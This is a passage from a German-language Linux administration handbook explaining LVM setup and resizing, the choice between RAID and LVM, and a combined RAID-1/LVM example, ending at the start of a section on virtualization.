Der Inhalt dieser letzten beiden Zeilen ist nicht von der Liste der Platten abhängig, die zu dem Volume gehören. Es ist daher nicht erforderlich, diese Zeilen neu zu erstellen, wenn eine ausgefallene Platte durch eine neue ersetzt wird. Andererseits ist darauf zu achten, dass die Datei aktualisiert wird, wenn eine RAID-Anordnung erstellt oder gelöscht wird.

12.1.2. LVM

LVM, der Logical Volume Manager, ist ein weiterer Ansatz zur Abstraktion logischer Volumes von ihren physischen Geräten, der sich auf die Erhöhung der Flexibilität und nicht auf die Erhöhung der Zuverlässigkeit konzentriert. LVM erlaubt es, ein logisches Volume transparent für die Anwendungen zu ändern; es ist beispielsweise möglich, neue Platten hinzuzufügen, die Daten darauf zu migrieren und die alten Platten zu entfernen, ohne das Volume zu deinstallieren.

12.1.2.1. LVM-Konzepte

Diese Flexibilität wird durch eine Abstraktionsstufe erreicht, zu der drei Konzepte gehören.

Das PV (Physical Volume) ist das Element, das der Hardware am nächsten ist: es kann aus Partitionen auf einer Platte bestehen, aus einer ganzen Platte oder auch aus jedem anderen Blockgerät (einschließlich beispielsweise einem RAID-Verbund). Man beachte, dass auf eine physische Komponente, wenn sie als PV für einen LVM eingerichtet ist, nur über den LVM zugegriffen wird, da das System sonst verwirrt wird.

Eine Anzahl von PVs kann zu einer VG (Volume Group) zusammengefasst werden, die als virtuelle und erweiterbare Platte angesehen werden kann. VGs sind abstrakt und erscheinen nicht in einer Gerätedatei in der /dev-Hierarchie, so dass nicht die Gefahr besteht, dass sie direkt benutzt werden.

Die dritte Art von Objekten ist das LV (Logical Volume), das aus einer Menge von VGs besteht. Wenn wir die Analogie beibehalten, dass eine VG eine Platte ist, kann das LV als eine Partition angesehen werden. Das LV erscheint als Blockgerät mit einem Eintrag in /dev, und es kann wie jede andere physische Partition verwendet werden (am häufigsten, um ein Dateisystem oder Auslagerungsspeicher aufzunehmen).

Wichtig ist, dass das Aufteilen einer VG in LVs von ihren physischen Komponenten (den PVs) völlig unabhängig ist. Eine VG, die nur aus einer einzelnen physischen Komponente besteht (zum Beispiel einer Platte), kann in ein Dutzend logischer Volumes unterteilt werden. In ähnlicher Weise kann eine VG mehrere physische Platten verwenden und dennoch als ein einziges großes logisches Volume erscheinen. Die einzige Beschränkung besteht darin, dass die Gesamtgröße, die den LVs zugeteilt ist, offensichtlich nicht größer als die Gesamtkapazität der PVs in dieser Volumegruppe sein kann.

Es macht jedoch häufig Sinn, eine gewisse Einheitlichkeit unter den physischen Komponenten einer VG einzuhalten, und die VG in logische Volumes zu unterteilen, die ähnliche Verwendungsmuster haben. Falls die verfügbare Hardware zum Beispiel schnellere und langsamere Platten enthält, könnten die schnelleren zu einer VG zusammengefasst werden und die langsameren zu einer anderen. Teile der ersten können dann Anwendungen zugeordnet werden, die schnellen Datenzugriff erfordern, während die zweite weniger anspruchsvollen Aufgaben vorbehalten bleibt.

In jedem Fall sollte man sich merken, dass ein LV nicht ausdrücklich einem bestimmten PV zugeordnet ist. Man kann den Ort, an dem die Daten eines LV physisch gespeichert werden, beeinflussen, jedoch ist diese Möglichkeit für den täglichen Gebrauch nicht notwendig. Im Gegenteil: wenn sich der Satz physischer Komponenten einer VG weiterentwickelt, können die physischen Speicherorte, die einem bestimmten LV entsprechen, über Platten hinweg verschoben werden (wobei sie natürlich innerhalb der PVs verbleiben müssen, die der VG zugeordnet sind).

12.1.2.2. Einen LVM einrichten

Wir wollen nun Schritt für Schritt den Prozess der Einrichtung eines LVM für einen typischen Anwendungsfall verfolgen: wir wollen eine komplizierte Speichersituation vereinfachen. Eine derartige Situation entsteht normalerweise aus einer langen und verwickelten Abfolge sich anhäufender temporärer Maßnahmen. Zu Illustrationszwecken nehmen wir einen Server an, bei dem die Speicherbedürfnisse sich im Laufe der Zeit verändert und schließlich zu einem Gewirr verfügbarer Partitionen geführt haben, die über mehrere teilweise genutzte Platten verteilt sind. Genauer gesagt sind folgende Partitionen vorhanden:

- auf der Platte sdb eine Partition sdb2, 4 GB;

- auf der Platte sdc eine Partition sdc3, 3 GB;

- die Platte sdd, 4 GB, vollständig verfügbar;

- auf der Platte sdf eine Partition sdf1, 4 GB; und eine Partition sdf2, 5 GB.

Zusätzlich nehmen wir an, dass die Platten sdb und sdf schneller als die anderen beiden sind.

Unser Ziel ist es, drei logische Volumes für drei verschiedene Anwendungen einzurichten: einen Dateiserver (der 5 GB Speicherplatz benötigt), eine Datenbank (1 GB) und Speicherplatz für Sicherungskopien (12 GB). Die ersten beiden erfordern eine gute Leistung, wohingegen bei den Sicherungen die Zugriffsgeschwindigkeit weniger entscheidend ist. Alle diese Einschränkungen verhindern die Verwendung einzelner Partitionen. Durch den Einsatz eines LVM kann von der physischen Größe der Geräte abstrahiert werden, so dass nur der insgesamt verfügbare Platz als Begrenzung verbleibt.

Die erforderlichen Hilfsprogramme befinden sich in dem Paket lvm2 und seinen Abhängigkeiten. Wenn sie installiert sind, erfolgt die Einrichtung eines LVM in drei Schritten, entsprechend den drei Konzeptstufen.

Zunächst erstellen wir mit pvcreate die physischen Volumes:

# pvdisplay
# pvcreate /dev/sdb2
Physical volume "/dev/sdb2" successfully created
# pvdisplay
"/dev/sdb2" is a new physical volume of "4.00 GiB"
--- NEW Physical volume ---
PV Name               /dev/sdb2
VG Name
PV Size               4.00 GiB
Allocatable           NO
PE Size               0
Total PE              0
Free PE               0
Allocated PE          0
PV UUID               0zuiQQ-j1Oe-P593-4tsN-9FGy-TY0d-Quz31I

# for i in sdc3 sdd sdf1 sdf2 ; do pvcreate /dev/$i ; done
Physical volume "/dev/sdc3" successfully created
Physical volume "/dev/sdd" successfully created
Physical volume "/dev/sdf1" successfully created
Physical volume "/dev/sdf2" successfully created
# pvdisplay -C
PV         VG   Fmt  Attr PSize PFree
/dev/sdb2       lvm2 ---  4.00g 4.00g
/dev/sdc3       lvm2 ---  3.09g 3.09g
/dev/sdd        lvm2 ---  4.00g 4.00g
/dev/sdf1       lvm2 ---  4.10g 4.10g
/dev/sdf2       lvm2 ---  5.22g 5.22g

So weit, so gut. Man beachte, dass ein PV sowohl auf einer vollständigen Platte als auch auf einzelnen darauf enthaltenen Partitionen eingerichtet werden kann. Wie oben gezeigt, listet der Befehl pvdisplay die bestehenden PVs in zwei möglichen Ausgabeformaten auf.

Wir wollen jetzt diese physischen Komponenten mit dem Befehl vgcreate zu VGs zusammenfügen. Dabei nehmen wir nur PVs von den schnellen Platten in eine VG namens vg_critical auf; die andere VG, vg_normal, enthält dagegen auch langsamere Komponenten.

# vgdisplay
No volume groups found
# vgcreate vg_critical /dev/sdb2 /dev/sdf1
Volume group "vg_critical" successfully created
# vgdisplay
--- Volume group ---
VG Name               vg_critical
System ID
Format                lvm2
Metadata Areas        2
Metadata Sequence No  1
VG Access             read/write
VG Status             resizable
MAX LV                0
Cur LV                0
Open LV               0
Max PV                0
Cur PV                2
Act PV                2
VG Size               8.09 GiB
PE Size               4.00 MiB
Total PE              2071
Alloc PE / Size       0 / 0
Free  PE / Size       2071 / 8.09 GiB
VG UUID               bpq7zO-PzPD-R7HW-V8eN-c10c-S32h-f6rKqp

# vgcreate vg_normal /dev/sdc3 /dev/sdd /dev/sdf2
Volume group "vg_normal" successfully created
# vgdisplay -C
VG          #PV #LV #SN Attr   VSize  VFree
vg_critical   2   0   0 wz--n-  8.09g  8.09g
vg_normal     3   0   0 wz--n- 12.30g 12.30g

Auch hier sind die Befehle recht einfach (und bei vgdisplay kann zwischen zwei Ausgabeformaten gewählt werden). Man beachte, dass es durchaus möglich ist, zwei Partitionen derselben physischen Platte in zwei unterschiedlichen VGs zu verwenden. Außerdem beachte man, dass wir bei der Benennung unserer VGs zwar das Präfix vg_ benutzt haben, dass dies aber lediglich eine Gewohnheit ist.

Wir haben jetzt zwei „virtuelle Platten“ mit einer Größe von etwa 8 GB und 12 GB. Wir wollen sie jetzt in „virtuelle Partitionen“ (LVs) unterteilen. Dies geschieht mit dem Befehl lvcreate und einer etwas komplizierteren Syntax:

# lvdisplay
# lvcreate -n lv_files -L 5G vg_critical
Logical volume "lv_files" created
# lvdisplay
--- Logical volume ---
LV Path                /dev/vg_critical/lv_files
LV Name                lv_files
VG Name                vg_critical
LV UUID                J3V0oE-cBYO-KyDe-5e0m-3f70-nv0S-kCWbpT
LV Write Access        read/write
LV Creation host, time mirwiz, 2015-06-10 06:10:50 -0400
LV Status              available
# open                 0
LV Size                5.00 GiB
Current LE             1280
Segments               2
Allocation             inherit
Read ahead sectors     auto
- currently set to     256
Block device           253:0

# lvcreate -n lv_base -L 1G vg_critical
Logical volume "lv_base" created
# lvcreate -n lv_backups -L 12G vg_normal
Logical volume "lv_backups" created
# lvdisplay -C
LV         VG          Attr     LSize  Pool Origin Data%  Meta%  Move Log Cpy%Sync  Convert
lv_base    vg_critical -wi-a---  1.00g
lv_files   vg_critical -wi-a---  5.00g
lv_backups vg_normal   -wi-a--- 12.00g

Zur Erstellung logischer Volumes sind zwei Parameter erforderlich; sie müssen als Optionen an den Befehl lvcreate übergeben werden. Der Name des zu erstellenden LV wird mit der Option -n festgelegt und seine Größe im Allgemeinen mit der Option -L. Wir müssen dem Befehl außerdem natürlich mitteilen, auf welche VG er angewendet werden soll. Dazu dient der letzte Parameter der Befehlszeile.

WEITERE SCHRITTE Optionen von lvcreate

Der Befehl lvcreate verfügt über mehrere Optionen, mit denen die Erstellung eines LV fein eingestellt werden kann.

Wir wollen mit der Beschreibung der Option -l beginnen, bei der die Größe des LVs als Anzahl von Blöcken angegeben wird (im Gegensatz zu den „menschlichen“ Einheiten, die wir zuvor verwendet haben). Diese Blöcke (die in der Sprache des LVM als PEs, physical extents, bezeichnet werden) sind zusammenhängende Einheiten von Speicherplatz in den PVs, die nicht auf verschiedene LVs aufgeteilt werden können. Wenn man den Speicherplatz eines LV genau festlegen möchte, um zum Beispiel den verfügbaren Platz vollständig zu nutzen, wird man wohl die Option -l der Option -L vorziehen.

Man kann auch den physischen Ort eines LV angeben, so dass seine „extents“ in einem bestimmten PV abgelegt werden (wobei sie natürlich innerhalb des Bereichs verbleiben müssen, der der VG zugewiesen ist). Da wir wissen, dass sdb schneller als sdf ist, werden wir lv_base wohl dort ablegen, wenn wir dem Datenbank-Server gegenüber dem Dateiserver einen Vorteil verschaffen möchten. So wird die Befehlszeile zu: lvcreate -n lv_base -L 1G vg_critical /dev/sdb2. Man beachte, dass dieser Befehl scheitern kann, wenn das PV nicht genügend freie „extents“ hat. In unserem Beispiel müssten wir wohl lv_base vor lv_files erstellen, um eine derartige Situation zu vermeiden - oder mit dem Befehl pvmove auf sdb2 etwas Platz schaffen.

Logische Volumes werden nach ihrer Erstellung zu Blockgerätedateien in /dev/mapper/:

# ls -l /dev/mapper
total 0
crw------- 1 root root 10, 236 Jun 10 16:52 control
lrwxrwxrwx 1 root root       7 Jun 10 17:05 vg_critical-lv_base -> ../dm-1
lrwxrwxrwx 1 root root       7 Jun 10 17:05 vg_critical-lv_files -> ../dm-0
lrwxrwxrwx 1 root root       7 Jun 10 17:05 vg_normal-lv_backups -> ../dm-2
# ls -l /dev/dm-*
brw-rw---T 1 root disk 253, 0 Jun 10 17:05 /dev/dm-0
brw-rw---- 1 root disk 253, 1 Jun 10 17:05 /dev/dm-1
brw-rw---- 1 root disk 253, 2 Jun 10 17:05 /dev/dm-2

HINWEIS LVM-Volumes automatisch erkennen

Wenn der Rechner hochfährt, ruft der systemd-Service Lvm2-activation den Befehl vgchange -aay auf um alle volume groups zu aktivieren: Diejenigen, die als physische Volumes für LVM initialisiert sind, werden im LVM-Untersystem registriert; diejenigen, die zu Volume-Gruppen gehören, werden zusammengefügt; und die entsprechenden logischen Volumes werden gestartet und bereitgestellt. Es ist daher nicht erforderlich, Konfigurationsdateien zu editieren, wenn LVM-Volumes erstellt oder verändert werden.

Man beachte jedoch, dass die Anordnung der LVM-Komponenten (physische und logische Volumes und Volume-Gruppen) in der Datei /etc/lvm/backup gespeichert wird, was bei Problemen nützlich sein kann (oder auch um einfach einen Blick unter die Haube zu werfen).

Zur Vereinfachung werden zudem bequeme symbolische Verknüpfungen in den Verzeichnissen angelegt, die den VGs entsprechen:

# ls -l /dev/vg_critical
total 0
lrwxrwxrwx 1 root root 7 Jun 10 17:05 lv_base -> ../dm-1
lrwxrwxrwx 1 root root 7 Jun 10 17:05 lv_files -> ../dm-0
# ls -l /dev/vg_normal
total 0
lrwxrwxrwx 1 root root 7 Jun 10 17:05 lv_backups -> ../dm-2

Die LVs können genau wie Standard-Partitionen benutzt werden:

# mkfs.ext4 /dev/vg_normal/lv_backups
mke2fs 1.42.12 (29-Aug-2014)
Creating filesystem with 3145728 4k blocks and 786432 inodes
Filesystem UUID: b5236976-e0e2-462e-81f5-0ae835ddab1d
[...]
Creating journal (32768 blocks): done
Writing superblocks and filesystem accounting information: done
# mkdir /srv/backups
# mount /dev/vg_normal/lv_backups /srv/backups
# df -h /srv/backups
Filesystem                        Size  Used Avail Use% Mounted on
/dev/mapper/vg_normal-lv_backups   12G   30M   12G   1% /srv/backups
# [...]
[...]
# cat /etc/fstab
[...]
/dev/vg_critical/lv_base    /srv/base       ext4 defaults 0 2
/dev/vg_critical/lv_files   /srv/files      ext4 defaults 0 2
/dev/vg_normal/lv_backups   /srv/backups    ext4 defaults 0 2

Aus Sicht der Anwendungen ist die Vielzahl kleiner Partitionen jetzt zu einem großen Datenträger mit 12 GB und einem freundlicheren Namen zusammengefasst worden.

12.1.2.3. LVM im Verlauf der Zeit

Wenn auch die Fähigkeit, Partitionen oder physische Platten zusammenzufassen, praktisch ist, so ist dies doch nicht der wichtigste Vorteil, den LVM bietet. Die Flexibilität, die er mit sich bringt, wird erst im Laufe der Zeit richtig deutlich, wenn sich die Anforderungen weiterentwickeln. In unserem Beispiel wollen wir annehmen, dass neue große Dateien gespeichert werden müssen, und dass das für den Dateiserver reservierte LV für sie zu klein ist. Da wir noch nicht allen in vg_critical verfügbaren Platz verwendet haben, können wir lv_files vergrößern. Zu diesem Zweck benutzen wir den Befehl lvresize und anschließend resize2fs, um das Dateisystem entsprechend anzupassen:

# df -h /srv/files/
Filesystem                        Size  Used Avail Use% Mounted on
/dev/mapper/vg_critical-lv_files  5.0G  4.6G  146M  97% /srv/files
# lvdisplay -C vg_critical/lv_files
LV       VG          Attr     LSize Pool Origin Data%  Meta%  Move Log Cpy%Sync  Convert
lv_files vg_critical -wi-ao-- 5.00g
# vgdisplay -C vg_critical
VG          #PV #LV #SN Attr   VSize VFree
vg_critical   2   2   0 wz--n- 8.09g 2.09g
# lvresize -L 7G vg_critical/lv_files
Size of logical volume vg_critical/lv_files changed from 5.00 GiB (1280 extents) to 7.00 GiB (1792 extents).
Logical volume lv_files successfully resized
# lvdisplay -C vg_critical/lv_files
LV       VG          Attr     LSize Pool Origin Data%  Meta%  Move Log Cpy%Sync  Convert
lv_files vg_critical -wi-ao-- 7.00g
# resize2fs /dev/vg_critical/lv_files
resize2fs 1.42.12 (29-Aug-2014)
Filesystem at /dev/vg_critical/lv_files is mounted on /srv/files; on-line resizing required
old_desc_blocks = 1, new_desc_blocks = 1
The filesystem on /dev/vg_critical/lv_files is now 1835008 (4k) blocks long.

# df -h /srv/files/
Filesystem                        Size  Used Avail Use% Mounted on
/dev/mapper/vg_critical-lv_files  6.9G  4.6G  2.1G  70% /srv/files

VORSICHT Die Größe von Dateisystemen ändern

Nicht bei allen Dateisystemen lässt sich die Größe im laufenden Betrieb verändern. Zur Änderung der Größe eines Datenträgers kann es daher erforderlich sein, das Dateisystem zunächst aus- und anschließend wieder einzuhängen. Wenn man die Größe, die einem LV zugeordnet ist, verkleinern will, muss man natürlich zunächst das Dateisystem verkleinern. Die Reihenfolge ist umgekehrt, wenn die Größenänderung in die andere Richtung verläuft: das logische Volume muss vor dem darauf befindlichen Dateisystem vergrößert werden. Dies ist recht eindeutig, da zu keiner Zeit das Dateisystem größer sein darf als das Blockgerät, auf dem es sich befindet (gleichgültig, ob dieses Gerät eine physische Partition oder ein logisches Volume ist).

Die Dateisysteme ext3, ext4 und xfs können im laufenden Betrieb vergrößert werden, ohne sie auszuhängen. Zu einer Verkleinerung müssen sie jedoch ausgehängt werden. Das Dateisystem reiserfs ermöglicht eine Größenänderung im laufenden Betrieb in beide Richtungen. Das altehrwürdige ext2 erlaubt keines von beiden und muss immer ausgehängt werden.

Wir könnten in ähnlicher Weise vorgehen, um den Datenträger zu erweitern, auf dem sich die Datenbank befindet. Nur haben wir hier die Grenze des für die VG verfügbaren Platzes erreicht:

# df -h /srv/base/
Filesystem                       Size  Used Avail Use% Mounted on
/dev/mapper/vg_critical-lv_base 1008M  854M  104M  90% /srv/base
# vgdisplay -C vg_critical
VG          #PV #LV #SN Attr   VSize VFree
vg_critical   2   2   0 wz--n- 8.09g 92.00m

Das macht nichts, da es mit LVM möglich ist, physische Datenträger zu bestehenden Volume-Gruppen hinzuzufügen. Wir könnten zum Beispiel festgestellt haben, dass die Partition sdb1, die bisher außerhalb des LVM verwendet wurde, nur Archivdateien enthält, die nach lv_backups verschoben werden könnten. Wir können sie dann neu verwenden und in die Volume-Gruppe integrieren und so zusätzlichen Platz gewinnen. Hierzu dient der Befehl vgextend. Natürlich muss die Partition zunächst als physischer Datenträger eingerichtet werden. Sobald die VG erweitert worden ist, können wir ähnliche Befehle wie zuvor verwenden, um zunächst das logische Volume und anschließend das Dateisystem zu vergrößern:

# pvcreate /dev/sdb1
Physical volume "/dev/sdb1" successfully created
# vgextend vg_critical /dev/sdb1
Volume group "vg_critical" successfully extended
# vgdisplay -C vg_critical
VG          #PV #LV #SN Attr   VSize VFree
vg_critical   3   2   0 wz--n- 9.09g 1.09g
# [...]
[...]
# df -h /srv/base/
Filesystem                       Size  Used Avail Use% Mounted on
/dev/mapper/vg_critical-lv_base  2.0G  854M  1.1G  45% /srv/base

WEITERE SCHRITTE Weitergehender LVM

LVM wird auch weitergehenden Einsätzen gerecht, bei denen viele Einzelheiten von Hand festgelegt werden können. So kann ein Administrator zum Beispiel die Größe der Blöcke, aus denen physische oder logische Datenträger bestehen, wie auch ihre physische Anordnung genau einstellen. Es ist auch möglich, Blöcke in andere PVs zu verschieben, um zum Beispiel die Leistung fein abzustimmen, oder etwas alltäglicher, um ein PV leerzuräumen, wenn man die entsprechende physische Platte aus der VG entfernen muss (um sie einer anderen VG zuzuordnen oder vollständig aus dem LVM zu entfernen). Die Handbuchseiten, die die Befehle erläutern, sind meist deutlich und ausführlich. Ein guter Einstieg ist die Handbuchseite lvm(8).

12.1.3. RAID oder LVM?

Sowohl RAID als auch LVM bieten eindeutige Vorteile, sobald man den einfachen Fall eines Arbeitsplatzrechners mit einer einzigen Festplatte, bei der sich die Art der Nutzung im Laufe der Zeit nicht ändert, verlässt. RAID und LVM gehen jedoch in zwei verschiedene Richtungen mit unterschiedlichen Zielen, und man fragt sich zu Recht, welches man anwenden soll. Die richtige Antwort hängt natürlich von den jetzigen und voraussichtlichen Anforderungen ab.

Es gibt einige einfache Fälle, in denen sich diese Frage nicht wirklich stellt. Wenn es erforderlich ist, Daten vor Hardwareausfällen zu schützen, wird natürlich RAID auf einer redundanten Anordnung von Platten eingerichtet, da LVM dieses Problem nicht wirklich anspricht. Falls andererseits Bedarf an einem flexiblen Speichersystem besteht, bei dem die Datenträger von der physischen Anordnung der Platten unabhängig sind, hilft RAID nicht viel, und die Wahl fällt natürlich auf LVM.

HINWEIS Wenn es auf Performance ankommt…

Wenn es auf die Schreib-/Lese-Geschwindigkeit ankommt, vor allem auf die Zugriffszeit, dann hat die Verwendung von LVM und/oder RAID in einer seiner vielen Ausprägungen möglicherweise Einfluss auf die Performance. Das kann die Entscheidung, welche Lösung gewählt werden soll, beeinflussen. Jedoch sind diese Unterschiede in der Perormance gering und nur in wenigen Fällen messbar. Wenn es auf Performance ankommt, kann man mit nicht drehenden Speichermedien die besten Resultate erzielen (solid-state drives or SSDs); Dabei sind die Kosten pro Megabyte höher als bei Standardplatten und ihre Kapazität ist üblicherweise geringer, aber sie bieten ausgezeichnete Performance bei zufällig verteilten Zugriffen. Wenn das Nutzungsprofil viele Lese-/Schreibzugriffe über das ganze Dateisystem verteilt beinhaltet, dann ist der Vorteil, wenn sie auf SSD ausgeführt werden, weit größer, als das, was Sie gewinnen können, wenn Sie LVM einem RAID vorziehen oder umgekehrt. In diesen Fällen, sollte die Entscheidung nach anderen Kriterien als der reinen Zugriffsgeschwindigkeit erfolgen, denn Geschwindigkeitsanforderungen werden am besten bei Verwendung von SSDs erfüllt.

Der dritte bemerkenswerte Anwendungsfall liegt vor, wenn man einfach zwei Platten zu einem Datenträger zusammenfassen möchte, entweder aus Gründen der Leistung oder um ein einziges Dateisystem zu haben, das größer als jede der verfügbaren Platten ist. Dieser Fall kann sowohl mit einem RAID-0 (oder sogar einem linearen RAID) als auch mit einem LVM-Volume gelöst werden. In dieser Situation, und falls es keine sonstigen Anforderungen gibt (zum Beispiel, mit den übrigen Rechnern konform zu bleiben, falls diese nur RAID verwenden), wird häufig LVM die Konfiguration der Wahl sein. Die anfängliche Einrichtung ist kaum komplizierter, aber die etwas höhere Komplexität wird durch die außergewöhnliche Flexibilität wettgemacht, die LVM bietet, wenn sich die Anforderungen ändern oder wenn neue Platten hinzugefügt werden müssen.

Dann gibt es natürlich den wirklich interessanten Fall, bei dem das Speichersystem sowohl gegen Hardwareausfall beständig gemacht werden muss als auch flexibel bei der Datenträgeraufteilung. Weder RAID noch LVM allein kann beide Ansprüche erfüllen. Kein Problem, hier verwenden wir beide gleichzeitig - oder vielmehr übereinander. Der Aufbau, der quasi zum Standard geworden ist, seit RAID und LVM die Einsatzreife erreicht haben, besteht darin, zunächst Datenredundanz sicherzustellen, indem Platten zu einer kleinen Anzahl großer RAID-Anordnungen zusammengefasst werden, und dann diese RAID-Anordnungen als physische LVM-Volumes zu verwenden. Anschließend werden diese LVs in logische Partitionen für die Dateisysteme aufgeteilt. Der Grund für diesen Aufbau ist, dass, wenn eine Platte ausfällt, nur wenige der RAID-Anordnungen wiederhergestellt werden müssen, wodurch die Zeit, die der Administrator für die Wiederherstellung aufwenden muss, begrenzt bleibt.

Nehmen wir ein konkretes Beispiel: die Werbeabteilung bei Falcot Corp. benötigt einen Arbeitsplatzrechner für die Videobearbeitung, das Budget der Abteilung reicht aber nicht aus, um von Grund auf in Hochleistungsgeräte zu investieren. Es wird daher beschlossen, sich hierbei auf die Geräte zu beschränken, die für die grafische Art der Arbeit spezifisch sind (Bildschirm und Grafikkarte), und für die Speicherung bei normaler Hardware zu bleiben. Es ist jedoch allgemein bekannt, dass digitales Video einige besondere Ansprüche an die Speicherung stellt: der Umfang der zu speichernden Daten ist hoch, und die Durchsatzgeschwindigkeit für das Lesen und Schreiben dieser Daten ist für die Gesamtleistung des Systems wichtig (wichtiger als zum Beispiel die typische Zugriffszeit). Diese Anforderungen müssen mit der normalen Hardware erfüllt werden, in diesem Fall mit zwei 300 GB SATA-Festplatten. Die Systemdaten und einige Anwenderdaten müssen außerdem gegen Hardwareausfall beständig gemacht werden. Bearbeitete Videoclips müssen wirklich sicher sein, während dies bei Videoabschnitten, die noch nicht editiert wurden, weniger kritisch ist, da es sie noch auf den Videobändern gibt.

RAID-1 und LVM werden kombiniert, um diese Ansprüche zu erfüllen. Die Platten werden an zwei verschiedene SATA-Controller angeschlossen, um den parallelen Zugriff zu optimieren und das Risiko eines gleichzeitigen Ausfalls zu verringern, und werden demnach als sda und sdc angezeigt. Sie werden beide in gleicher Weise wie folgt partitioniert:

# fdisk -l /dev/sda

Disk /dev/sda: 300 GB, 300090728448 bytes, 586114704 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x00039a9f

Device    Boot     Start       End   Sectors Size Id Type
/dev/sda1 *         2048   1992060   1990012 1.0G fd Linux raid autodetect
/dev/sda2        1992061   3984120   1992059 1.0G 82 Linux swap / Solaris
/dev/sda3        4000185 586099395 582099210 298G 5  Extended
/dev/sda5        4000185 203977305 199977120 102G fd Linux raid autodetect
/dev/sda6      203977306 403970490 199993184 102G fd Linux raid autodetect
/dev/sda7      403970491 586099395 182128904  93G 8e Linux LVM

- Die ersten Partitionen beider Platten (etwa 1 GB) werden zu einem RAID-1-Datenträger namens md0 zusammengefasst. Dieser Spiegel wird direkt dazu benutzt, das Wurzeldateisystem aufzunehmen.

- Die Partitionen sda2 und sdc2 werden als Auslagerungspartitionen verwendet und stellen insgesamt 2 GB an Auslagerungsspeicher bereit. Zusammen mit 1 GB RAM hat der Arbeitsplatzrechner somit einen reichlichen Umfang an verfügbarem Speicher.

- Die Partitionen sda5 und sdc5 wie auch sda6 und sdc6 werden zu zwei neuen RAID-1-Datenträgern namens md1 und md2 mit einer Größe von je 100 GB zusammengefasst. Diese beiden Spiegel werden als physische Datenträger für LVM initialisiert und der Volumengruppe vg_raid zugewiesen. Diese VG umfasst somit etwa 200 GB an sicherem Speicherplatz.

- Die übrigen Partitionen, sda7 und sdc7 werden direkt als physische Datenträger benutzt und einer weiteren VG namens vg_bulk zugewiesen, die daher auch etwa 200 GB Speicherplatz bekommt.

Nachdem die VGs erstellt sind, können sie auf sehr flexible Weise partitioniert werden. Man muss dabei beachten, dass die in vg_raid erstellten LVs selbst dann erhalten bleiben, wenn eine der Platten ausfällt, wohingegen dies bei den in vg_bulk erstellten LVs nicht der Fall ist. Andererseits werden letztere parallel auf beiden Platten bereitgestellt, wodurch höhere Lese- und Schreibgeschwindigkeiten für große Dateien möglich sind.

Wir erstellen daher auf vg_raid die LVs lv_usr, lv_var und lv_home zur Aufnahme der entsprechenden Dateisysteme. Ein weiteres großes LV, lv_movies, dient dazu, die endgültigen Versionen der Filme nach ihrer Editierung aufzunehmen. Die andere VG wird in ein großes lv_rushes für Daten direkt aus den digitalen Videokameras und ein lv_tmp für temporäre Dateien aufgeteilt. Für den Ort des Arbeitsbereichs ist eine weniger einfache Entscheidung zu treffen: während für diesen Datenträger einerseits gute Leistung erforderlich ist, fragt es sich, ob es andererseits wert ist, den Verlust der Arbeit zu riskieren, wenn während des Editierens eine Platte ausfällt. In Abhängigkeit von der Antwort auf diese Frage wird das entsprechende LV auf der einen oder der anderen VG erstellt.

Wir haben jetzt sowohl einige Redundanz für wichtige Daten als auch große Flexibilität in der Art, wie der verfügbare Platz auf die Anwendungen verteilt ist. Sollten später neue Programme installiert werden (zum Beispiel zum Editieren von Audiodateien), kann das LV, das /usr/ enthält, problemlos vergrößert werden.

HINWEIS Warum drei RAID-1-Datenträger?

Wir hätten nur einen RAID-1-Datenträger einrichten können, um als physischer Datenträger für vg_raid zu dienen. Warum haben wir dann drei erstellt?

Der Grund für die erste Unterteilung (in md0 und die übrigen) liegt in der Datensicherheit: Daten, die auf beide Komponenten eines RAID-1-Spiegels geschrieben werden, sind identisch, und es ist daher möglich, die RAID-Ebene zu umgehen und eine der Platten direkt einzuhängen. Im Falle eines Kernelfehlers oder falls die LVM-Metadaten beschädigt werden, ist es immer noch möglich, ein minimales System zu starten, um damit auf wichtige Daten wie die Belegung der Platten in den RAID- und LVM-Volumes zuzugreifen. Die Metadaten können dann wiederhergestellt und die Dateien wieder zugänglich gemacht werden, so dass das System in seinen Ausgangszustand zurückversetzt werden kann.

Der Grund für die zweite Unterteilung (in md1 und md2) ist weniger offensichtlich und hängt eher mit der Erkenntnis zusammen, dass die Zukunft unsicher ist. Wenn der Arbeitsplatzrechner erstmals eingerichtet wird, sind die genauen Speichererfordernisse nicht unbedingt mit absoluter Sicherheit bekannt; außerdem können sie sich im Laufe der Zeit verändern. In unserem Fall können wir den tatsächlichen Bedarf an Speicherplatz für Videoszenen und vollständige Videoclips nicht im Vorhinein kennen. Falls ein bestimmter Clip eine sehr hohe Anzahl an Szenen benötigt, und die VG für redundante Daten weniger als halb voll ist, können wir einen Teil ihres nicht genutzten Platzes anderweitig verwenden. Wir können einen der physischen Datenträger entfernen, zum Beispiel md2 aus vg_raid und ihn entweder direkt vg_bulk zuordnen (falls die voraussichtliche Dauer des Einsatzes kurz genug ist, um den vorübergehenden Leistungsabfall in Kauf zu nehmen), oder die RAID-Anordnung auf md2 auflösen und seine Komponenten sda6 und sdc6 in die Massen-VG integrieren (die damit um 200 GB statt um 100 GB anwächst). Der logische Datenträger lv_rushes kann dann nach Maßgabe des Bedarfs vergrößert werden.

12.2. Virtualisierung

Virtualisierung ist einer der größten Fortschritte der letzten Jahre im Computerwesen. Der Ausdruck umfasst verschiedene Abstraktionen und Techniken der Simulation virtueller Rechner mit unterschiedlichen Graden der Unabhängigkeit von der tatsächlichen Hardware. Dabei kann ein physischer Server mehrere Systeme beherbergen, die gleichzeitig und getrennt voneinander funktionieren. Es gibt zahlreiche Anwendungen, und sie rühren häufig von dieser Trennung her: zum Beispiel Testumgebungen mit unterschiedlichen Konfigurationen, oder die getrennte Unterbringung von Diensten auf unterschiedlichen virtuellen Rechnern aus Sicherheitsgründen.

Es gibt zahlreiche Virtualisierungslösungen, jede mit ihren eigenen Vor- und Nachteilen. Dieses Buch konzentriert sich auf Xen, LXC und KVM, es gibt jedoch weitere bemerkenswerte Umsetzungen einschließlich der folgenden:

- QEMU ist ein Software-Emulator eines vollständigen Rechners. Die Leistungen sind weit geringer als die Geschwindigkeit, die man mit einer tatsächlichen Ausführung erreichen könnte, aber mit ihm ist es möglich, nicht modifizierte oder experimentelle Betriebssysteme auf der emulierten Hardware auszuführen. Mit ihm kann man auch eine andere Hardware-Architektur emulieren: so kann zum Beispiel ein amd64-System einen arm-Rechner emulieren. QEMU ist freie Software.
→ http://www.qemu.org/

